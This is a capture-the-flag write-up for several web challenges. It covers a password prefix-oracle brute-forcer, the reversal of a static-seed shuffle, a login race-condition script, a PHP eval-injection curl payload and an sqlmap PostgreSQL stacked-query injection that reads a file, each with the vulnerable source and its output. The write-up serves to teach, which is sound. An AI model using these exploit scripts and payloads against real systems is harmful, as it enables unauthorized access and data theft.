web

Challenges

grandas_notes

My grandma is into vibe coding and has developed this web application to help her remember all the important information. It would work be great, if she wouldn't keep forgetting her password, but she's found a solution for that, too.

http://52.59.124.14:5015

source.zip

❯ unzip -l source.zip
Archive:  source.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2025-08-08 16:46   grandmas_notes-challenge/
      828  2025-08-08 17:10   grandmas_notes-challenge/docker-compose.yml
        0  2025-08-08 16:46   grandmas_notes-challenge/app/
       99  2025-08-08 16:50   grandmas_notes-challenge/app/init.php
     1254  2025-08-08 16:52   grandmas_notes-challenge/app/login.php
     1957  2025-08-08 17:12   grandmas_notes-challenge/app/index.php
     1164  2025-08-08 14:43   grandmas_notes-challenge/app/dashboard.php
      322  2025-08-08 14:43   grandmas_notes-challenge/app/Dockerfile
     3538  2025-08-08 16:48   grandmas_notes-challenge/app/config.php
     1470  2025-08-08 16:52   grandmas_notes-challenge/app/register.php
       97  2025-08-08 14:43   grandmas_notes-challenge/app/entrypoint.sh
       73  2025-08-08 14:43   grandmas_notes-challenge/app/logout.php
      472  2025-08-08 17:19   grandmas_notes-challenge/app/save_note.php
---------                     -------
    11274                     13 files

Okay now here is the long version. Now first look at the code base, we need to identify where is the flag?

In docker file (as environment variable) access by the web app in config.php when it seed the data for the webapp. And later on It lives in the database, in the users.note column for the admin user, and is displayed to the logged-in user on the dashboard.

// config.php:upsert_admin()
$adminUser = getenv('ADMIN_USERNAME') ?: 'admin';
$adminPass = getenv('ADMIN_PASSWORD') ?: 'changeme_admin';
$adminNote = getenv('ADMIN_NOTE') ?: 'FAKEFLAG';
...
UPDATE/INSERT users (..., password_hash, note)
...
// also populates password_chars with per-position SHA-256 hashes

So obviously, naive solution is log in as admin → GET /dashboard.php → read <textarea name="note">…</textarea>. But we do know that the username is "admin" but how do we get the password?

  • On failed login, the code compares the submitted password from the start against those stored hashes and returns how many front characters match. That creates a prefix oracle: we can recover the password by growing a correct prefix one character at a time, then log in and fetch the note.

After a password failure, the code leaks a prefix match count:

$chars = preg_split('//u', $password, -1, PREG_SPLIT_NO_EMPTY);

$q = $pdo->prepare("SELECT position, char_hash FROM password_chars WHERE user_id = ? ORDER BY position ASC");
$q->execute([(int)$user['id']]);
$stored = $q->fetchAll();

$correct = 0;
$limit = min(count($chars), count($stored));
for ($i = 0; $i < $limit; $i++) {
    $enteredCharHash = sha256_hex($chars[$i]);
    if (hash_equals($stored[$i]['char_hash'], $enteredCharHash)) {
        $correct++;
    } else {
        break;
    }
}
$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!";

Exploit strategy:

  • Target: admin.

  • Initialize an empty prefix "".

  • For position i = 0..:

    • For each printable character c:

      • Submit login (username=admin, password=prefix + c).

      • If we get the dashboard → we’re done (full password matched).

      • Else read the flash: “you got X characters correct!”

      • If X == len(prefix) + 1, keep c (it’s correct for this position) and move to the next position.

  • Repeat until we log in (or until the prefix stops growing → adjust charset).

Script

import re
import string
import sys
import requests

BASE = "http://52.59.124.14:5015/"
USERNAME = "admin"
TIMEOUT = 10
CHARSET = (
    string.ascii_lowercase
    + string.ascii_uppercase
    + string.digits
    + string.punctuation
    + " "
)
FLASH_RE = re.compile(r"got\s+(\d+)\s+characters\s+correct", re.I)

def request_prefix_match(
    session: requests.Session, password_guess: str
) -> tuple[int, bool, str]:
    resp = session.post(
        BASE + "login.php",
        data={"username": USERNAME, "password": password_guess},
        timeout=TIMEOUT,
        allow_redirects=True,
    )
    text = resp.text
    if "Dashboard" in text and "Logged in as" in text:
        return (len(password_guess), True, text)
    m = FLASH_RE.search(text)
    if not m:
        return (0, False, text)
    return (int(m.group(1)), False, text)


def recover_password(max_len: int = 16) -> str:
    session = requests.Session()
    prefix = ""
    while len(prefix) < max_len:
        progressed = False
        for ch in CHARSET:
            guess = prefix + ch
            matched, logged_in, _ = request_prefix_match(session, guess)
            if logged_in:
                return guess
            if matched == len(prefix) + 1:
                prefix = guess
                print(prefix, flush=True)
                progressed = True
                break
        if not progressed:
            break
    return prefix


def get_admin_note(session: requests.Session) -> str:
    r = session.get(BASE + "dashboard.php", timeout=TIMEOUT)
    m = re.search(
        r'<textarea[^>]*name="note"[^>]*>(.*?)</textarea>', r.text, re.S | re.I
    )
    return m.group(1) if m else ""


def main():
    pwd = recover_password(16)
    print(f"[+] Recovered (or best-effort) password: {pwd!r}")

    s = requests.Session()
    _, logged_in, _ = request_prefix_match(s, pwd)
    if not logged_in:
        print(
            "[-] Not logged in; charset might be missing some character.",
            file=sys.stderr,
        )
        sys.exit(1)

    note = get_admin_note(s)
    print("[+] Admin note:")
    print(note)

main()

❯ python solve.py
Y
Yz
YzU
YzUn
YzUnh
YzUnh2
YzUnh2r
YzUnh2ru
YzUnh2ruQ
YzUnh2ruQi
YzUnh2ruQix
YzUnh2ruQix9
YzUnh2ruQix9m
YzUnh2ruQix9mB
YzUnh2ruQix9mBW

ENO{V1b3_C0D1nG_Gr4nDmA_Bu1ld5_InS3cUr3_4PP5!!}
  • ENO{V1b3_C0D1nG_Gr4nDmA_Bu1ld5_InS3cUr3_4PP5!!}

pwgen

Password policies aren't always great. That's why we generate passwords for our users based on a strong master password!

http://52.59.124.14:5003

<?php
ini_set("error_reporting", 0);
ini_set("short_open_tag", "Off");

if(isset($_GET['source'])) {
    highlight_file(__FILE__);
}

include "flag.php";

$shuffle_count = abs(intval($_GET['nthpw']));

if($shuffle_count > 1000 or $shuffle_count < 1) {
    echo "Bad shuffle count! We won't have more than 1000 users anyway, but we can't tell you the master password!";
    echo "Take a look at /?source";
    die();
}

srand(0x1337); // the same user should always get the same password!

for($i = 0; $i < $shuffle_count; $i++) {
    $password = str_shuffle($FLAG);
}

if(isset($password)) {
    echo "Your password is: '$password'";
}

?>
  • Since the source is...like 1 file so the source is just right there you know...

  • Also, see that nthpw? yea, curl that sh

❯ curl "http://52.59.124.14:5003/?nthpw=1"
Your password is: '7F6_23Ha8:5E4N3_/e27833D4S5cNaT_1i_O46STLf3r-4AH6133bdTO5p419U0n53Rdc80F4_Lb6_65BSeWb38f86{dGTf4}eE8__SW4Dp86_4f1VNH8H_C10e7L62154'
<html>
        <head>
                <title>PWgen</title>
        </head>
        <body>
                <h1>PWgen</h1>
                <p>To view the source code, <a href="/?source">click here.</a>
        </body>
</html>
  • Solve it in reverse

<?php

// 1. Paste the shuffled password from the server.
$shuffled_flag = '7F6_23Ha8:5E4N3_/e27833D4S5cNaT_1i_O46STLf3r-4AH6133bdTO5p419U0n53Rdc80F4_Lb6_65BSeWb38f86{dGTf4}eE8__SW4Dp86_4f1VNH8H_C10e7L62154';

// 2. Get the length of the flag.
$length = strlen($shuffled_flag);

// 3. Create an ARRAY of indices from 0 to length-1.
$indices = range(0, $length - 1);

// 4. Seed the random number generator with the same value as the server.
srand(0x1337);

// 5. Shuffle the array of indices. This shuffle is deterministic due to srand().
// The shuffled $indices array is now our "map".
// $indices[0] now holds the original index of the character that moved to position 0.
shuffle($indices);

// 6. Reconstruct the original flag.
$reconstructed_flag = str_repeat(' ', $length); // Create an empty string of the correct length.
for ($i = 0; $i < $length; $i++) {
    // The character that ended up at position $i in the shuffled flag
    // originally belonged at position $indices[$i].
    $original_position = $indices[$i];
    $reconstructed_flag[$original_position] = $shuffled_flag[$i];
}

echo "The original flag is: " . $reconstructed_flag . "\n";
?>

❯ php solve.php
The original flag is: ENO{N3V3r_SHUFFLE_W1TH_STAT1C_S333D_OR_B4D_TH1NGS_WiLL_H4pp3n:-/_0d68ea85d88ba14eb6238776845542cf6fe560936f128404e8c14bd5544636f7}
  • ENO{N3V3r_SHUFFLE_W1TH_STAT1C_S333D_OR_B4D_TH1NGS_WiLL_H4pp3n:-/_0d68ea85d88ba14eb6238776845542cf6fe560936f128404e8c14bd5544636f7}

webby

MFA is awesome! Even if someone gets our login credentials, and they still can't get our secrets!

http://52.59.124.14:5010

  • To get the source...you do /?source=1 (pretty neat, aye?)

  • Alrighty, where is the flag? — The value is read from /tmp/flag.txt into FLAG and rendered only by the /flag handler:

  • FLAG = open("/tmp/flag.txt").read()
    ...
    class flag:
        def GET(self):
            if not session.get("loggedIn",False) or not session.get("username",None) == "admin":
                raise web.seeother('/')
            else:
                session.kill()
                return render.flag(FLAG)

(So: be admin and be loggedIn when you hit /flag.)

  • What lines of code is vulnerable?

# after password is correct
session.loggedIn = True                 # (1) SET TRUE
session.username = i.username
session._save()

if check_mfa(session.get("username", None)):  # admin -> True
    session.doMFA = True
    session.tokenMFA = hashlib.md5(
        bcrypt.hashpw(str(secrets.randbits(random.randint(40,65))).encode(),
                      bcrypt.gensalt(14)) # (2) SLOW bcrypt(14)
    ).hexdigest()
    session.loggedIn = False              # (3) SET FALSE AFTER
    session._save()
    raise web.seeother("/mfa")

In /flag:

if not session.get("loggedIn",False) or session.get("username") != "admin":
    raise web.seeother('/')
  • The code saves loggedIn=True before MFA completes.

  • It performs slow work (bcrypt(14)) before resetting loggedIn=False.

  • /flag does not check that MFA passed—only loggedIn + username.

This produces a time-of-check/time-of-use race window where the session is already “logged in” as admin.

Exploit strategry:

  • Get a fresh session cookie: GET /webpy_session_id.

  • Start login as admin:admin in the background using that cookie.

    • Server sets loggedIn=True; username=admin; save()

    • Server spends ~hundreds of ms doing bcrypt(14).

    • Only after that it flips loggedIn=False.

  • Hammer /flag with the same cookie during that slow window.

  • One request lands while loggedIn=True/flag returns the flag page.

Script

import concurrent.futures
import re
import sys
import threading
import time

import requests

BASE = "http://52.59.124.14:5010"
USER, PW = "admin", "admin"
DURATION = 5.0    # seconds to hammer /flag after starting login
CONCURRENCY = 80  # parallel /flag requests per burst
BURST_SIZE = 200  # requests per loop iteration

found = threading.Event()
flag_text = [""]


def get_sid():
    r = requests.get(BASE, timeout=5)
    sid = r.cookies.get("webpy_session_id")
    if not sid:
        raise RuntimeError("No webpy_session_id cookie")
    return sid


def start_login(sid):
    # fire the login that sets loggedIn=True before bcrypt(14)
    requests.post(
        BASE + "/",
        data={"username": USER, "password": PW},
        cookies={"webpy_session_id": sid},
        timeout=15,
    )


def try_flag(sid):
    if found.is_set():
        return
    r = requests.get(BASE + "/flag", cookies={"webpy_session_id": sid}, timeout=4)
    if r.status_code == 200 and re.search(r"ENO\{.*?\}", r.text):
        flag_text[0] = r.text
        found.set()


def attempt_round():
    sid = get_sid()
    # kick the login in the background; don't wait for it
    threading.Thread(target=start_login, args=(sid,), daemon=True).start()

    deadline = time.time() + DURATION
    with concurrent.futures.ThreadPoolExecutor(max_workers=CONCURRENCY) as ex:
        while time.time() < deadline and not found.is_set():
            futures = [ex.submit(try_flag, sid) for _ in range(BURST_SIZE)]
            concurrent.futures.wait(futures, timeout=0.25)


for round_no in range(1, 20):
    attempt_round()
    if found.is_set():
        print("\nFLAG\n")
        print(flag_text[0])
        sys.exit(0)

print("Not yet — run again (someone is bruteforcing the server sh).")

❯ python solve.py

FLAG

<html>
        <head>
                <title>Webby: Flag</title>
        </head>
        <body>
                <h1>Webby: Flag</h1>
                <p>ENO{R4Ces_Ar3_3ver1Wher3_Y3ah!!}</p>
                <a href="/logout">Logout</a>
        </body>
</html>
  • ENO{R4Ces_Ar3_3ver1Wher3_Y3ah!!}

Slasher

Slashing all the slashes...

http://52.59.124.14:5011

note: this was a hard challenge to me since I went for a funny ahh route, but it didn't give out much it was a header injection challenge tbh...This probably the hardest web challege of this batch imo. Except the dogv2, I have a sense of what to do but me sleep...💤

The page included the source, which is quite nice, here is the long version of my writeup.

<?php
ini_set("error_reporting", 0);
ini_set("short_open_tag", "Off");

set_error_handler(function($_errno, $errstr) {
    echo "Something went wrong!";
});

if(isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

include "flag.php";

$output = null;
if(isset($_POST['input']) && is_scalar($_POST['input'])) {
    $input = $_POST['input'];
    $input = htmlentities($input,  ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
    $input = addslashes($input);
    $input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
    try {
        $output = eval("$input;");
    } catch (Exception $e) {
        // nope, nothing
    }
}
?>
...
  • Now, lets see where is the flag?:

include "flag.php";        // loads the flag into scope

Therefore, reading flag.php or causing the page to print its contents will show the flag. My focus are on these lines

if (isset($_GET['source'])) { highlight_file(__FILE__); die(); }
include "flag.php";                         // <— flag file on disk

...
$output = eval("$input;");                  // <— executes our code
...
<?php if($output) { ?>
  <div class="result" id="resultText"><?php echo htmlentities($output); ?></div>
<?php } ?>

Again, as mentioned that they challenge will tries to sanitizes our input and prevent us from doing our shenanigans (highlighted lines of code above):

That is why we need to craft an eval payload that:

  • avoids quotes/variables (they’re backslash-escaped),

  • uses only function calls and operator chaining,

  • lists files in the working directory and prints each with readfile()

If you think about this methodically, the filters fail?

  • The eval sees the raw PHP code ($input supposed to be a strings...give it some quotes man).

  • Backslashes don’t stop tokens like opendir, readdir, readfile, parentheses, commas, pipes, etc.

  • An error handler suppresses warnings, so failed attempts don’t reveal much —but we don’t need them. (good job bozo, I test this locally with php -S localhost:8000)

I was able to do an equivalent to a "ls" command and see what we are dealing with

curl -s -X POST 'http://52.59.124.14:5011' --data-urlencode 'input=print(join(scandir(getcwd())))'
...Dockerfiledocker-compose.ymlflag.phpindex.phpstyle.css

Assume the web root contains ., .., Dockerfile, docker-compose.yml, flag.php, index.php, style.css

Now how would we print the flag and access the flag.php? — well it is is sitting at...index 5? including the . and ..

  • I will be using readfile to achieve this (small note that this payload took me a fat minutes to figured out). Here is a bit of visualization for ya.

[ 🐧 ] ── POST input= strlen(readdir(opendir(getcwd()))) | @readfile(readdir()) | ...


[index.php]
  sanitize(input)   ────────────────────────────────┐
  eval("$input;")  (unquoted)                       │
      │                                             │
      ├─ getcwd() → "/var/www/html"                 │
      ├─ opendir() → H                              │
      ├─ readdir(H) → "." → strlen(".") → 1         │
      ├─ readdir(H) → ".." → @readfile("..") → 0    │  (warning suppressed)
      ├─ readdir(H) → "Dockerfile" → readfile() ─┐  │  (prints file)
      ├─ readdir(H) → "docker-compose.yml" ──────┤  │  (prints file)
      ├─ readdir(H) → "flag.php" ────────────────┤  │  (prints flag)
      ├─ readdir(H) → "index.php" ───────────────┤  │  (prints file)
      └─ readdir(H) → "style.css" ───────────────┘  │  (prints file)
      ▼                                             │
  $output = 1 | 0 | N1 | N2 | N3 | N4 | N5  (>0)    │

  render template  ───────────────► HTML + printed file contents (flag visible)
curl -s -X POST http://52.59.124.14:5011 \
--data-urlencode 'input=strlen(readdir(opendir(getcwd())))|@readfile(readdir())|@readfile(readdir())|@readfile(readdir())|@readfile(readdir())|@readfile(readdir())'
...

$FLAG = "ENO{3v4L_0nC3_Ag41n_F0r_Th3_W1n_:-)}";

...
  • ENO{3v4L_0nC3_Ag41n_F0r_Th3_W1n_:-)}

  • Take away:

    • readdir() without a handle uses the last opendir handle, so you can iterate without variables.

    • readfile() prints as a side effect, so the flag is emitted even if $output is just an integer.

    • 🥀

dogfinder

I like dogs, so I wrote this awesome dogfinder page. Somewhere on the filesystem is a nice treat for you.

http://52.59.124.14:5020

This was solved by my teammate "anar" (🗣️🗣️🔥🥀), really want to see the official writeups or the intended solution of this challenge...As our path to solve this challenge at the time was quite guessy (not my favorite thing). Regardless, it was ... rough.

❯ sqlmap -u "http://52.59.124.14:5020/?name=&breed=&min_age=&max_age=&page=2&order=id" \
  -p order \
  --dbms=PostgreSQL \
  --batch \
  --flush-session \
  --technique=S \
  --threads=1 --delay=0.2 \
  --sql-query "SELECT pg_read_file('flag.txt')" \
  --dump-format=CSV

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.4#stable}
|_ -| . [']     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:53:47 /2025-09-04/

[12:53:47] [INFO] flushing session file
[12:53:47] [INFO] testing connection to the target URL
[12:53:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:53:48] [WARNING] heuristic (basic) test shows that GET parameter 'order' might not be injectable
[12:53:48] [INFO] testing for SQL injection on GET parameter 'order'
[12:53:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[12:53:48] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)                                      
[12:54:05] [INFO] GET parameter 'order' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable 
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] Y
[12:54:05] [INFO] checking if the injection point on GET parameter 'order' is a false positive
GET parameter 'order' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: order (GET)
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: name=&breed=&min_age=&max_age=&page=2&order=id;SELECT PG_SLEEP(5)--
---
[12:54:16] [INFO] the back-end DBMS is PostgreSQL
[12:54:16] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: PostgreSQL
[12:54:19] [INFO] fetching SQL SELECT statement query output: 'SELECT pg_read_file('flag.txt')'
[12:54:19] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
ENO{CuT3_D0GG0S_T0_F1nD_Ev3r
[12:59:30] [ERROR] invalid character detected. retrying..
[12:59:30] [WARNING] increasing time delay to 6 seconds
[12:59:38] [ERROR] invalid character detected. retrying..
[12:59:38] [WARNING] increasing time delay to 7 seconds
1Wh3re_<3} 
SELECT pg_read_file('flag.txt'): 'ENO{CuT3_D0GG0S_T0_F1nD_Ev3r1Wh3re_<3}\n'
[13:02:00] [INFO] fetched data logged to text files under '/home/dreams/.local/share/sqlmap/output/52.59.124.14'
[13:02:00] [WARNING] your sqlmap version is outdated

[*] ending @ 13:02:00 /2025-09-04/
  • ENO{CuT3_D0GG0S_T0_F1nD_Ev3r1Wh3re_<3}

dogfinderv2 (upsolve)

I still like dogs, so I tried to make the previous version more secure. The treat is now in the root directory - that should help, shouldn't it?

http://52.59.124.14:5021

  • I have a feeling it has to do something with listening the request via rce, as I was able to dump some of the permission and file using sqlmap, but i didn't solve it in time :<.

  • todo: ...lazy

Last updated